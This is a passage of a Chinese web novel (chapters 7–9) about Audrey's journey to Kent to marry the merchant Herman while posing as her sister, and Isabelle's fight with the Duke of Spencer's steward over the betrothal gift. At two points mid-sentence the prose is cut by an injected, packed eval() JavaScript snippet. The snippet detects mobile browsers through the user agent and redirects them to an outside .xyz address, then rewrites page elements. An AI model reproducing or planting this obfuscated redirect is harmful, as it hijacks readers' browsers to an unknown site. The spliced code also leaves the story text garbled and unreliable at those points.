等她坐稳，赫尔曼头也不抬地吩咐：“出发。” “等等！”奥黛丽忽然开口，她攥紧衣摆，“再等一分钟好吗？怀特先生。我想和家人告别。” “所以你们刚才逗留那么久，是在听查尔斯说冷笑话吗？”赫尔曼面无表情。 奥黛丽垂下眼眸。 查尔斯讪讪：“别对女士那么刻薄，先生。” 赫尔曼撇开视线，没有开口。 奥黛丽意识到这应该是默许。 她看向车窗外，瞳孔倒映着伊莎贝尔的身影。 伊莎贝尔一直注视着妹妹。 年轻的孩子总是用笑容掩饰难过，只有那双冰蓝色的眼睛能看透她的情绪。 奥黛丽瘪了瘪嘴，泪意上涌，忽然打开车门扑进姐姐怀里。旁人只看见她以拥抱告别，听不见强忍着的抽泣声。 伊莎贝尔一下又一下地抚摸妹妹的脊背，像小时候安慰被邻居卢卡斯小姐欺负的她那样。 感受着温热的泪水蔓延，伊莎贝尔叹了口气，轻声道：“给我写信，任何时候。” 听见姐姐沉静的声音，奥黛丽渐渐安定，她深吸一口气，终于抬起头。 虽然眼眶红得像兔子，但极力挤出微笑：“会的。如你所说，永远坚定，永远乐观。” “永远坚定，永远乐观。”伊莎贝尔重复，松开拥抱的手臂，目送奥黛丽走向马车。 晴空万里，普照大地。 华丽的车队载着奥黛丽走向未知的远方。 伊莎贝尔长久地望着，直到车轮驶出视线。 7. 第 7 章 从洛森郡到肯特郡，需要几天的车程。好在天公作美，一路十分晴朗。但乘车人之一，奥黛丽小姐却无心打量陌生的美景，只是发愣。 摇晃的车厢里，奥黛丽摸出伊莎贝尔送的丝绒盒子，打开。 里面躺着一条色泽醇厚的蓝宝石项链，就像姐姐的眼睛。 她将项链攥在手心看了许久，意识到眼前开始模糊，赶紧抬头吸了吸鼻子，看向窗外。 赫尔曼不是没有注意到，身边若有似无的哽咽声。但年轻的商人不觉得价值十万锡兰币的婚姻有什么好委屈的。 他只感到厌烦。 再一次从倒映的车窗里看见女孩失落垂眸，他冷淡开口：“伊莎贝尔小姐，如果嫁给一个商人让你感到后悔，你还来得及打道回府。” 话音落下，奥黛丽背对着他，用沉默回答。 赫尔曼微眯眼。 很好，果然符合他对虚伪贵族的一贯印象。 温和柔软的外衣下包裹着漠然丑陋的心。他以为这位伊莎贝尔·诺曼小姐能伪装得更久一点，没想到这么快就原形毕露。 赫尔曼冷笑，不再顾及刀子般的话语是否太过伤人，“你的父母在签字前应该考虑清楚了利弊，作为被卖掉的女儿，怀念虚情假意实在可笑。当然，如果只是想用眼泪伪装天真单纯的女孩，奉劝你放弃，这只会显得愚蠢。” 最后一个音节落地，连车厢对面的查尔斯心里都不是滋味儿。更不必提任何有尊严的女士听了这段话，只会越发无地自容，或愤怒万分。 而奥黛丽……依然沉默。 很好，非常好。 耐性极佳，倒是小瞧了她的傲气。 赫尔曼拄着手杖的十指缓缓攥紧，丝质手套遮住用力到泛白的指节，气氛仿佛降至冰点。 盛夏时节，查尔斯颤抖着掏出帕子擦拭冷汗。 他觉得自己再不开口打圆场，对面的雇主先生会把刚娶回来的新娘扔下车！ 查尔斯深吸一口气，磕磕巴巴开口：“诺……诺曼小姐，相信你只是……” 话没说完，马车路过颠簸路段，车厢猛然一震。 查尔斯刚稳住身形，就见对面的奥黛丽脑袋一歪，整个人倒向赫尔曼的怀里！ 查尔斯：“！” 赫尔曼皱眉，衬衫下的身躯绷紧，立刻就要推开。 “不！先生！嘘！”查尔斯竖起食指，憋笑道，“您的十万锡兰币新娘、可爱的诺曼女士睡着了。” 赫尔曼侧眸，果然，映入眼帘的是一张恬静的睡颜。 她偷偷哭了一路，兴许是累了。头顶珍珠发冠被挤歪，金色卷毛落下几绺，遮住泛红的眼皮。嘴巴还微微张着，睡得不知天地为何物，幸好没流口水。 维持着这个姿势沉默片刻，赫尔曼冷哼一声。 好样的，装到这个地步，要么臻至化境，要么是真傻！无论哪个，都叫他更加厌烦！ 任由查尔斯投来不赞同的目光，他毫不客气地推开女孩。 下一刻，珍珠发冠勾住几根银灰色发丝——随着奥黛丽的脑袋向另一边歪去，发丝“嘣”地被扯断，肉眼可见的疼痛蔓延开来…… 查尔斯：“噗！” 赫尔曼额角青筋暴起，攥紧手杖，深吸一口气。 奥黛丽懵懂醒来，发冠滑稽地歪在头顶，断裂的银灰色发丝垂落在她的脸颊。 有点痒，挠挠。 她伸手抓了抓，一边看向面无表情但好像山雨欲来的赫尔曼：“到了吗？怀特先生。” 回答她的是沉默，以及倏然起身的背影：“停车。” 赫尔曼头也不回地换去了另一辆马车，查尔斯紧随其后，一边忍笑回头，冲奥黛丽眨眼：“幸运的小姐，上帝帮你惩罚了他。” “这是怎么了？”奥黛丽嘟囔。 摸不着头脑，只好摸了摸发冠，将它扶正。忽然抓到几根头发，她定睛一看，愣住。 赫尔曼的头发？！ “什么姿势会让他的头发缠上我的发冠？难道……”奥黛丽脑中浮现种种言情小说片段，脸一红，“他对我的完美睡颜一见钟情，忍不住靠近，通过我美丽的外表发现我美丽的内心，这样那样然后再这样，最终美满地生活在一起？！” 奥黛丽目光炯炯，握着几根发丝畅想未来。 车窗突然被敲响，“咚咚咚。” 奥黛丽面容一肃，干咳两声，恢复端庄的模样才转头：“怎么了，怀特……嗯？查尔斯先生？” 查尔斯微笑颔首：“伊莎贝尔小姐，怀特先生让我把你的贴身女仆，露西女士请过来。让你们主仆共坐。” 他果然关心我！ 奥黛丽面上不显，矜持笑道：“帮我谢谢他。” 查尔斯摘帽行礼，心里暗笑。 还谢谢他？人家只是想把你们两个讨厌鬼打包放一起罢了。 奥黛丽不知道查尔斯的腹诽，露西的到来，的确让她接下来的旅程心情放松。 再一次见到赫尔曼，是抵达肯特郡的当天。 奥黛丽睡得人事不知，被露西叫醒。一睁眼，就对上赫尔曼冷漠的视线和查尔斯的笑脸。 “诺曼小姐，怀特先生的母亲将在不久后到达，届时再举行婚礼仪式。”查尔斯尽责地打开车门，“现在，您可以下车，尽情地参观未来的家。” 赫尔曼当然没有耐心做导游，他对着身后的人吩咐：“给她安排住处。” 说完，头也不回地往前走。 奥黛丽还没反应过来，就见一位绿眼睛的丰满女郎出现，似笑非笑打量着她：“您就是来自高贵男爵家族的……诺曼小姐？” 奥黛丽本能地察觉，那双绿眼睛里暗含轻蔑与敌意，“你是？” 女郎并不答话，侧身让开一条路，“赫尔曼不尽责，就让我带你参观本郡最杰出的温斯顿庄园吧。” 赫尔曼？ 不带尊称的亲密叫法，她是谁？ 奥黛丽垂眸，不知该不该问，万一是尴尬的身份，她也不能怎么样。 才升起一丁点儿的浪漫泡沫，立刻被现实无情戳破。 绿眼睛女郎径直往前走，全然的主人翁架势。 她娴熟地介绍各处风景，不时看向前方那道身影。显然，这番动作并不只是做给奥黛丽看的。 奥黛丽跟在女郎身后，尽管眼前的巴洛克式建筑精美华丽，她也没兴趣观赏。 还没走远的赫尔曼终于开口道：“别做多余的事情，卡洛琳。” 奥黛丽悄悄在心里点头。 往后多的是参观的机会，颠簸数天，她好累，现在只想休息。 “好吧，贵族小姐总是身体脆弱，恕我没有提前了解，请原谅。”卡洛琳唇角含笑，脸上丝毫没有抱歉的意思。 话语里的冒犯，让跟在身后的露西皱起眉头。 尽责的红发小女仆想提醒小姐，却见奥黛丽老实地摇头：“没关系。” 露西张了张嘴，还是闭上：“……” 卡洛琳：“？” 她皱起眉头，重新审视眼前的金发蠢妞。 奥黛丽见卡洛琳盯着自己，进一步诚恳道：“往后你就了解我啦，我是有点脆弱，现在还有些饿，卡洛琳小姐，可以给我吃点东西吗？” 卡洛琳呼出一口气，脸色有些难看。 身为温斯顿庄园的高级管家兼赫尔曼的商务助手，从来没有人让她负责过填饱别人肚子的蠢事！ 而这个新来的竟敢指使她！还以这种装模作样的方式！果然手段高明！ 卡洛琳收起轻视，微笑：“可以。” - 餐厅里，奥黛丽换好晚餐服才去用饭。 二楼，卡洛琳注视着露西帮她整理餐巾，布置餐具，足足折腾五六分钟。 “贵族小姐用餐真讲究。”她嗤笑。 身后书房里，查尔斯正在与赫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902044|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔曼核对文件条款。 “卡洛琳，诺曼小姐是我们未来的女主人，或许你该放尊重一些。”查尔斯往下推了推眼镜，出言提醒。 卡洛琳不以为意，只看向埋首于文件的赫尔曼。 “冠以贵族头衔的柔弱小羊羔，能有踏入温斯顿庄园的资格，都拜她的姓氏所赐。这样的人，花十万锡兰币买过来已是最高的尊重。”她轻笑，“你也这么认为吧，赫尔曼？” 查尔斯深觉这话很刺耳，可与赫尔曼在车上说的相媲美。 查尔斯摇头：“别带着有色眼镜看人，我觉得她是个好姑娘。” 卡洛琳讽笑，还想驳斥，却对上赫尔曼冰冷的视线。 “卡洛琳，你越界了。” 卡洛琳浑身一凛，下意识辩解：“不，我只是……” “作为管家兼助手，合同上明确规定，我的私生活不在你管辖范围内。”深灰色瞳孔泛着凉意，赫尔曼像座毫无感情的雕像，即便面对相识已久的工作伙伴，也一样不留情面，“再有下次，主动请辞吧。” 卡洛琳如坠冰窖，许久说不出话。 查尔斯投以同情的目光，轻叹一口气。 过于紧密的关系，总是会让多情的女郎误以为有进一步的可能，于是生出无限的遐想。 只有旁观者清楚，他们的雇主先生堪比墨菲斯雪山，除了锡兰货币上的女王头像，没有异性能博得他的关注。 - 另一边，奥黛丽并不知道楼上的风波。 吃饱喝足后，她便端坐在书桌边开始写信。 拿起羽毛笔蘸墨水，写完地名日期，开始问候：我最亲爱的伊莎贝尔…… “不，是奥黛丽小姐。”露西出言提点，“即便是信件，也要留心。” “噢！谢谢你露西！姐姐派你跟着我真是最正确的决定！”奥黛丽悚然一惊，立刻把纸张撕碎，拍拍自己的额头，“伊莎贝尔！伊莎贝尔！别露馅了拜托！” 她重新写下问候，再把自己一路上的所见所闻，事无巨细地写了下来。 工整漂亮的花体字足足写满三大页，犹嫌不够。 露西莞尔：“等过完一个月，那位诺曼小姐兴许要派马车收信。” 奥黛丽脸红，终于放过信纸。 仔细检查完内容，没有可疑的地方，她才封上口子交给露西：“劳烦你帮我邮寄。” 露西将信件投到邮箱里，没几天，却出现在赫尔曼的书桌上。 书房，查尔斯捏着信封，干咳两声：“愿上帝原谅我的卑劣，但为了保证赫尔曼商业帝国的安全，我们必须确认未来的女主人没有异心。” 做完一整套祷告，他才拆开信封，拎出厚厚的三页纸。 不过很可惜，如此冗长的内容里只有：今天吃了什么、看了什么；家里的人好吗？家里的树好吗？家里的狗好吗？以及对婚礼的畅想，着重期待婚纱上镶几颗钻，头冠宝石会有多大（最好是蓝宝石，与她的眼睛相配）…… 读完整封信，查尔斯反复观察，最终确信没有暗语，才遗憾点评：“至少诺曼小姐在审美方面有自己的见解，值得祝贺。” 赫尔曼嗤笑一声。 字里行间全是对金钱的渴望，以及庸俗无趣的日常。这个女人真是……不负他所望。 “寄出去。”赫尔曼摆手，“以后她要再写类似的信，不要拿到我面前。” 把精力浪费在这种东西里，就像那些热衷谈情说爱的男女一样愚蠢。 当然，奥黛丽不知道自己的文字已经被品鉴过，还贴上“蠢蛋”标签。 她摸着蓝宝石项链，一心期待着姐姐收到信件——刻意不记录落寞的情绪，只写下快乐的瞬间，远方的家人就不会为她担心。久而久之，自己也只会记得快乐的事情。 窗外，肯特郡的橡树苍翠茂盛。 想必信件送达时，诺曼庄园的金盏菊已经盛放，斯宾塞公爵也将抵达。 8. 第 8 章 清晨，阳光照耀着整座诺曼庄园，第一丛金盏菊迎风绽放。 小女仆向邮差道谢，捧着厚厚的信封转身跑向屋内。 伊莎贝尔向来起得晚，当她姗姗下楼时，餐桌边的爱德华正戴着圆眼镜看报纸，简妮举着信向她挥手。 “亲爱的，来自肯特郡的信，我们迫不及待拆开，就等你的首肯。” 伊莎贝尔整理餐巾，微笑：“请便。” “由我念吧！”安娜姨妈兴高采烈凑近简妮，“真想知道我们的小甜心过得怎么样！” 玛丽和简妮微笑看着她，爱德华也收起报纸仔细聆听。 晨光里，安娜清了清嗓子，声情并茂念诵：“‘我最亲爱的奥黛丽，相信收到这封信时，庄园的金盏菊已经开了，我最爱它的美丽，务必帮我寄一些种子过来。帮我向父亲母亲还有两位姨妈问好。尤其是安娜姨妈，在我离开的这段时间里，她一定躲在被窝里偷偷哭了好几次。不过别拆穿她……’噢！这个小滑头！” 安娜佯装恼怒，简妮与玛丽都笑了，二人对视，低声道：“注意了信件称呼，看来很有长进。” 伊莎贝尔吃着早餐，挑眉：“记得提醒我在回信里告诉她，爱德华先生流的眼泪不比安娜姨妈少。” 爱德华：“亲爱的！别把绅士的脆弱写在信件里昭告天下，拜托了！” “这恐怕瞒不住。”安娜调侃，“下一段里她就说了‘还有爸爸脆弱的神经总是需要调理，希望我的好消息能让他感到高兴。’” 接下来的内容大致是生活细节，大家不想错过任何信息，即便是日常琐碎。 知道奥黛丽被妥善对待，简妮才真正松了一口气。 安娜换上最后一张信纸：“……‘温斯顿庄园十分华丽，管家卡洛琳小姐也很友善，虽然露西好像并不喜欢她。诚然，露西是个谨慎的姑娘，总是为我着想以至于对这里的一切都充满警惕。这很好，但我不觉得自己会被人欺负。我一定会和她谈谈，劝她享受肯特郡的美好。’” “‘毕竟，等怀特先生的母亲、一位听说很平易近人的埃尔美老夫人到达之际，我们将在这里举行婚礼，任何人都会尊重我这个女主人，包括卡洛琳，我确信。” “婚礼上，我会穿着美丽的钻石婚纱，戴镶蓝宝石的头冠，当然，如果是别的也很好，但我更希望它与我眼睛颜色相配。亲爱的，也许你可以感受到我的快乐，愿你同样幸运。” “虽然想继续写下去，但我已经没有更厚的信封能装下它们。此地邮差可靠，但愿能尽快收到你的回信，记得告诉我新地址，挚爱你的。’”安娜念完眼眶就红了，将信件递给伊莎贝尔，“噢，幸好今天到了，否则你就赶不上回信了，亲爱的。” 众人陷入伤感。 今天就是斯宾塞公爵到来的日子，伊莎贝尔即将离开诺曼庄园。 简妮叹了口气，强打起精神道：“米歇尔，小姐的行李收拾好了吗？” 米歇尔管家看了眼伊莎贝尔，面带踌躇。 伊莎贝尔挥手让她下去，淡定道：“妈妈，我吩咐过米歇尔太太，什么也不用带。” 简妮：“可是……” “他们请我去做公爵夫人，没道理不安排好一切。”伊莎贝尔用完餐，拿着信上楼，“等我写完回信，想必斯宾塞家的人就要到了，做好准备吧。” 简妮忙吩咐米歇尔训练新仆人，确保迎接时不失礼数。 - 下午两点，日头最毒辣的时候，来自公爵府的车队抵达庄园。 如果说赫尔曼来的低调而简洁，那么公爵府恰好相反，尽显高调与张扬。 车队由四辆马车开道，上面统一站着穿红色制服的卫兵，昂首挺胸，举着象征斯宾塞家族的旗帜。 被簇拥在最中间的马车华丽无比，武装到马蹄的银制饰品在日光下闪闪发亮。队伍最后是足足三辆仆从车。首车刚停稳，末端仆从率先下车，快速列开两队。肃穆以待。 正在门口列队欢迎的诺曼家族众人，看到对面的排场，一时愣住。新仆人把刚学会的规矩忘的一干二净，根本不记得上前开车门。好在公爵府自带的仆人已经自发完成任务。 众多目光注视下，主车门开，暌违已久的鹰钩鼻贾维斯爵士率先下车，摘帽颔首。 “又见面了，各位。” “向您问好，贾维斯爵士。”诺曼家众人齐齐行礼。 “提前祝贺两个家族喜结良缘，我很想成为这桩婚姻的见证人，但显然今天的主角不是我。”贾维斯凹着低沉的腔调，抑扬顿挫，一边打开车门。 下一秒，一位身型矮小的男士钻出马车，神情倨傲地打量众人。 “诸位下午好，请允许我做一个简短的自我介绍。我来自神圣锡兰公国七大家族之首；祖先曾屡建奇功延续荣耀近三百年；拥有最高贵古老的血脉、如今常任七大选帝侯之一，包揽领地自治管辖权；坐拥全国面积最大的查尔维斯庄园且毫不费力地维持它的豪奢、即便每年要花费10000锡兰币……”他深吸一口气，“……的斯宾塞家族。” “以上。”矮小男士整理领结，器宇轩昂、摸了摸两撇修理整齐的小胡子，为介绍收尾：“你们可以叫我，斯宾塞公爵。” 话音落下，然后是沉默。 长久的沉默。 诺曼家族众人看着眼前的男子——两颗豆大的眼珠中间点缀着一颗朝天鼻，看人的时候像是要用鼻孔替眼睛效劳。当然，比相貌更出彩的是他高达十公分的牛皮靴子，似乎要借此冲上云霄，和太阳肩并肩，却只堪堪够到贾维斯先生的肩膀，这还得算上高礼帽的功绩。 “斯……斯宾塞公爵？”爱德华嘴角抽搐，神经开始作痛。 第一次，简妮的稳重难以为继，视觉冲击让她一阵眩晕：“我的天哪……” 就在诺曼夫妇快要两眼一翻的前一秒，出众的男士大喘气：“……的管家，安德鲁·比尔。” 诺曼家众人：“……” 心情如过山车般起落，终于回到原点。 “安德鲁先生。”众人僵硬行礼，而后作出迎接的姿态，簇拥着客人进屋。 玛丽拍拍胸口喘气，落后两步挽着伊莎贝尔的手臂，低声道：“老实说，我真为你捏把冷汗，假如他是你未来的丈夫，我宁愿帮你安排马车逃到埃尔美去。” “‘请允许我简短自我介绍~’”安娜模仿小胡子趾高气昂的神态，作出“呕吐状”，“上帝啊，要是嫁给他，我情愿被威克曼骗光钱，至少不会食不下咽。噢，威克曼年轻时可是远近闻名的美男子。” 玛丽翻个白眼，难得没有反驳安娜。 伊莎贝尔被两个姨妈逗笑。 客厅里，安德鲁正襟危坐，用挑剔的眼神打量一切。 女仆正要送上点心，却被他抬手制止：“抱歉，我不会在查尔维斯庄园以外的任何地方品尝食物，毕竟没有哪个地方的厨子能比过公爵府。” “噢，你就是那位诺曼小姐？”见到进来的伊莎贝尔，他话音一顿，又傲慢地撇开视线，“虽然没有女士插手自己婚姻的先例，但我允许你坐下旁听。” 又看向爱德华，拿出一叠文件：“诺曼先生，我们速战速决吧，在面积小于二百平的会客室里待太久，会让我眩晕。” 爱德华面色难看，捧着文件阅读长长的婚前条款。 贾维斯爵士虽古板迂腐，此刻倒显得和蔼，出言解释：“按照女王旨意，本该是斯宾塞公爵亲临，非常不巧，家里要举办一场宴会，只好委派管家……呃，不，是竭诚为斯宾塞家族服务二十年、代表公爵府荣誉的顶尖管家安德鲁·比尔先生前来。以示对各位的敬重。” 众人面色复杂。 婚姻大事由管家代劳，敬重？轻视还差不多。 伊莎贝尔倒不管这些，她从容坐下，拿着文件开始细看。 安德鲁从鼻孔里发出冷哼：“诺曼先生，难道你没有教过自己的女儿，太过关心自己的婚姻是不体面的表现吗？贵族女士就应该由父亲代劳，再乖乖地穿上婚纱出嫁。” “你……”爱德华脸色铁青。 “不用着急，爸爸。”伊莎贝尔缓缓放下文件，拍了拍父亲的手，笑看向安德鲁，“先生，贵府的婚前协议里只规定了我们各自财产分割，那么……聘礼呢？” 安德鲁隐秘而飞快地与贾维斯对视一眼，而后冷笑道：“诺曼小姐，你在开玩笑吗？你，一名未婚的女士，向我们询问聘礼？神圣锡兰公国女王赐婚，至高无上的荣誉，你却……” “聘礼呢？”伊莎贝尔打断他的演讲。 安德鲁脸色一僵，贾维斯干咳两声，“诺曼小姐……” “聘礼呢？”伊莎贝尔再次打断，笑容不变。 场面陷入诡异的僵持。 玛丽突然笑道：“贾维斯爵士，安德鲁先生，再怎么荣耀的婚姻，也少不了金钱的夹持。或者你们是想说，贵府没有聘礼？” 安德鲁脸色涨红，倏然起身：“玛丽夫人，看在你丈夫克劳伦伯爵的份上，我原谅你对公爵府的不敬。请你们知晓，要不是有女王赐婚，区区男爵的女儿想嫁入公爵府，起码陪上两万锡兰币的嫁妆！而你诺曼小姐，占了如此大的便宜，还当众质问聘礼，简直是粗鲁可笑！” 他语调尖锐，神情凶悍，几乎把小女仆手中的咖啡杯都吓掉。 诺曼夫妇的确被震慑住了，似乎被他的话语带去了另一个方向。 然而伊莎贝尔却神情悠然，甚至换了更舒服的姿势靠着沙发，“哦，所以呢？这和我们提出的问题有关吗？” 安德鲁：“我……” 伊莎贝尔：“有，或没有。别说废话，只用回答这两个词。” “你！”安德鲁两撇胡子气得翘了起来，“有！当然有！公爵府少不了你的钱！但那要在你签下协议，完婚后再行支付！噢！上帝啊！但愿薇奥莱特老夫人知道有一个钻进钱眼的孙媳妇，不会气得昏过去！” “完婚后？”伊莎贝尔似笑非笑，忽然将文件随手一扔，“那抱歉了，我不签。” 安德鲁瞪大眼睛，似乎不敢相信眼前这一幕，“？！” “不签？”贾维斯礼貌的面具碎裂，手杖重重地往地上一敲，“你这是要抗婚吗？！诺曼先生！请你管管你的女儿！你们承但不了这个后果！” 爱德华也吓得够呛，既不敢劝女儿，又不敢回应贾维斯。 伊莎贝尔轻笑一声，拎着文件晃了晃，“要破坏这桩婚姻的是你们，想想清楚吧，如果斯宾塞公爵府没有接到我这个未婚妻，到底是谁的责任？” “这桩婚姻举国皆知，我们不过是破落的男爵府，没有钱横竖都活不成。贵府公爵位高权重，为了这点聘礼不惜闹到悔婚，究竟是谁吃亏？女王与公爵脸上无光，最后谁受罚？” 贾维斯和安德鲁再次对视，眼底划过谋算的光。 “好，我可以向你先行支付聘礼，不过别以为这是我的妥协，我只是不想节外生枝，诺曼小姐。”安德鲁冷笑，招来仆人，打开箱子里展示现金，“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902045|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里是一万锡兰币，请过目！” 明晃晃谈钱，对于时下的贵族来说，总是难为情的。 当着众仆人的面，爱德华和简妮脸上火辣辣的。而安德鲁似乎就想看见这样的结果。 正当他要出言嘲讽时，伊莎贝尔忽然道：“一万？” 丝毫不顾旁人的目光，她娴熟地清点完现金，再次看向安德鲁，“堂堂公爵府，给我的聘礼只有一万？与贵府修缮庄园的费用等同？” “诺曼小姐！”安德鲁气得直喘，“一万锡兰币足有你们庄园的三年收入！” “那又如何？”伊莎贝尔盯着安德鲁，冰蓝色眼睛里的笑意渐渐消失，“管家先生，别耍花样，拿着合同直接和公爵对账这种事，我做得出来。” 安德鲁的怒意僵住，目光闪过游移，再次与贾维斯对视。 “呃，还有一些不动产，不方便此刻交易，您还是先签字，我们……”贾维斯忙着打圆场，连低沉的腔调都忘了凹。 “爵士阁下，别再让我重复废话了。”伊莎贝尔再次恢复笑意，像锁定猎物后，看他们继续表演的狼，“在收到所有聘礼前，我不会签任何一个字，更不会出这个门。” 顿了顿，她轻声重复：“想清楚了，是……所有。” 安德鲁神色僵硬，高礼帽气得歪在一边，掏出一份文件猛地拍在桌上：“还有一座价值三万锡兰币的庄园！” 伊莎贝尔面不改色接过：“就这些？” 安德鲁：“没有了！四万锡兰币的聘礼！全国都没几家拿得出……” “没关系，我会亲自去问公爵，必要的时候还会与薇奥莱特老夫人面谈。”伊莎贝尔抬眸微笑，“问问神圣锡兰公国七大家族之首；祖先曾屡建奇功延续荣耀近三百年；拥有最高贵古老的血脉、如今常任七大选帝侯之一，包揽领地自治管辖权；坐拥全国面积最大的查尔维斯庄园且毫不费力地维持它的豪奢、即便每年要花费一万锡兰币……的斯宾塞家族，只能拿出四万锡兰币的聘礼吗？” 她可以模仿安德鲁的腔调，甚至学着他大喘气，十足的嘲讽。 安德鲁的牙齿快要咬碎：“贪得无厌的女人！” 对峙许久，还是贾维斯扯了扯他的衣袖，眼神暗示一番。安德鲁才松口：“还有价值两万锡兰币的古典油画与珠宝以及年金和债券。” 伊莎贝尔慢条斯理检查完条款，再次看着他。 安德鲁抓狂：“没有了！这次真的没有了！” 伊莎贝尔微笑，一并将所有聘礼单子都收好，起身：“很好，就算有所保留也没关系，我会一件一件清查，漏了的就让负责人安德鲁管家补上。” “你……你！” 安德鲁深呼吸，攥紧拳头，众目睽睽之下，又掏出一个首饰盒子。 “老夫人交代我保管的累斯顿祖母绿宝石。” 伊莎贝尔面带笑容接着，甚至行了一个淑女礼：“真是谢谢安德鲁先生的辛苦保管。” 安德鲁咬紧牙关：“……” 能搜刮到如此巨额的聘礼，已经让诺曼家族众人陷入震惊与茫然。 他们并不惊讶公爵府的财富，但区区一个管家和女王使者，竟敢瞒着主人瓜分这些聘礼？看他们娴熟的姿态，就知道不止这一回了！ 如果不是伊莎贝尔不好糊弄，凭着诺曼家礼貌切懦弱的个性，被哄骗得不倒贴都算好的。 安德鲁和贾维斯一刻也不愿意多待，婚契签完便上马车等候。 屋内，玛丽神情凝重，拉着伊莎贝尔道：“看来公爵府的情形比我们想象得要更复杂，如果他们背后无人支持，胆子绝不会这么大！” 简妮叹气，同样担忧：“是啊，你现在还没启程，就已经狠狠得罪了他们，路上千万要小心。” 伊莎贝尔但笑不语，将装满财产合约的箱子递给米歇尔：“米歇尔太太，劳烦把这些连同我的回信，寄到肯特郡。” 众人一愣。 安娜惊呼：“你要把聘礼全寄给……贝拉？这怎么行，这可是你……” 她想说，这是伊莎贝尔牺牲自己交换婚姻换来的。 “为什么不呢？”伊莎贝尔摇着羽毛扇，笑着打断，“与其说赠予，不如说交由她保管。他们以为我会将财产带入公爵府，供自己傍身。可是……” 玛丽沉思片刻，会心一笑，接话道：“可是他们想不到，你竟然白手进府。再怎么想算计你的钱，都算计不到了。” 简妮摇摇头：“你什么也不带，要怎么生活？偌大的公爵府，总要有财产维持体面。” 伊莎贝尔没有立刻回答，等着艾米丽收好她的行李，才轻装出发。 临到大门口，她看着庄园外的金盏菊，摘了一朵戴在帽子上。 “回去吧。”伊莎贝尔向家人挥手。 爱德华和简妮再次哭成泪人，两个姨妈也分别拥抱。 伊莎贝尔只在靠近母亲的时候，平静道：“放心吧，妈妈，体面不需要靠财产和地位维持……” 她既是对诺曼家众人说，也是对自己说。 “我会靠自己，在公爵府得到想要的一切。” 名誉、地位、财富、或者是权力。 阳光下，斯宾塞家族的旭日狮子旗迎风飘扬。 伊莎贝尔缓缓走向华丽的车队，步伐轻盈。 既然身为这个故事的主角，去探索一下新地图，挑战新人生倒也不错。 看着车里面露厌恶的安德鲁，伊莎贝尔心想：躺平太久，要松松筋骨了。 9. 第 9 章 一场雨过后，斯宾塞公爵府车队抵达汉克郡。 伊莎贝尔一下车就感受到了空气中的湿润。 小女仆艾米丽看着眼前的景观，情不自禁道：“好美。” 锡兰公国常年气候温和，由此孕育出茂盛的山林草原。论风景，各郡都有独特之美，假如一定要评出先后，汉克郡当属第一。 汉克郡之所以出名，皆因其境内拥有饱负盛名的查尔维斯庄园。汉克郡位于公国中心，而查尔维斯庄园又占据了汉克郡的中心，故该庄园又称“锡兰之心”。 “锡兰之心”距今有三百多年历史，由第一代公爵——玛格丽特·斯宾塞建造。她不仅是历史上罕见的女性摄政王，还是唯一将自己而非丈夫的姓氏流传下来的女爵。 玛格丽特出身斯宾塞家族，丈夫萨瑟兰公爵战死沙场后，爵位空悬。当时锡兰公国陷入战乱，王室自顾不暇，没空理会公爵府的权利争斗。玛格丽特就是在此时发动政变，夺过领地权柄，继承丈夫的封号“萨瑟兰”，成为盘踞一方的女爵。 护国战役期间，玛格丽特凭借着出色的军事能力屡建奇功，还救下年幼的王储威廉二世，并扶持他登上王位。 掌握军权且拥有政治头脑，玛格丽特挟威廉以令诸侯，成为大选帝侯，行摄政王之权。她所执政的二十年，史称“铁玫瑰时代”。 晚年，玛格丽特向君王请了一道旨意：收回其爵位封号“萨瑟兰”，改为她的姓氏“斯宾塞”。这种行为在当时可谓惊世骇俗。 封号乃世袭罔替的荣耀，你却要用自己的姓氏代替，何其狂妄？ 对此，玛格丽特有段广为流传的回应，真乃狂妄中的狂妄。 那是她临终前的一段话，被记载于斯宾塞家族史中。 她说：千百年来，斯宾塞家族只出我一个玛格丽特，“斯宾塞”不代表父族、也不代表母族、只代表玛格丽特本人。是玛格丽特赋予“斯宾塞”荣耀，而非承袭“斯宾塞”意志。此后，承吾姓氏者，皆要拜吾之名——玛格丽特。 此后数百年，查尔维斯庄园再也没有萨瑟兰公爵、只有斯宾塞公爵。所有的斯宾塞们承爵之日，都要向玛格丽特的雕像祝祷。 “锡兰之心”庄园的中央，有一处天然湖泊，湖中心耸立着女爵的雕像。女将军身披战甲，持剑向天，两只狮子趴在她的脚下。最下面的座右铭写着：以吾之名、传汝荣光。 此刻，安德鲁正以倨傲而饱含炫耀的口吻，向伊莎贝尔介绍庄园历史。 聒噪的声音不绝于耳，伊莎贝尔专注地望着湖中心——长达十米、宽约五米的雕像，远远看去，十分高大宏伟。女爵面容冷酷而坚毅，注视着整座查尔维斯庄园，数百年如一日。 “诺曼小姐。” 安德鲁的声音拉回伊莎贝尔的思绪。 “查尔维斯庄园可不是一天能逛完的，你现在该去见公爵先生和老夫人了。”安德鲁忽然勾起隐秘的笑，往前头的小径一指，“请吧，沿着这条路一直走。” 伊莎贝尔没说话，身边的小女仆艾米丽素有一副耿直心肠，皱眉问：“你不陪同我们一起吗？” 安德鲁皮笑肉不笑，晃了晃手中的文件：“抱歉，我还要去处理要事，拜诺曼小姐所赐，你打乱了我和贾维斯先生的安排，所以只好由您自行前往了。” 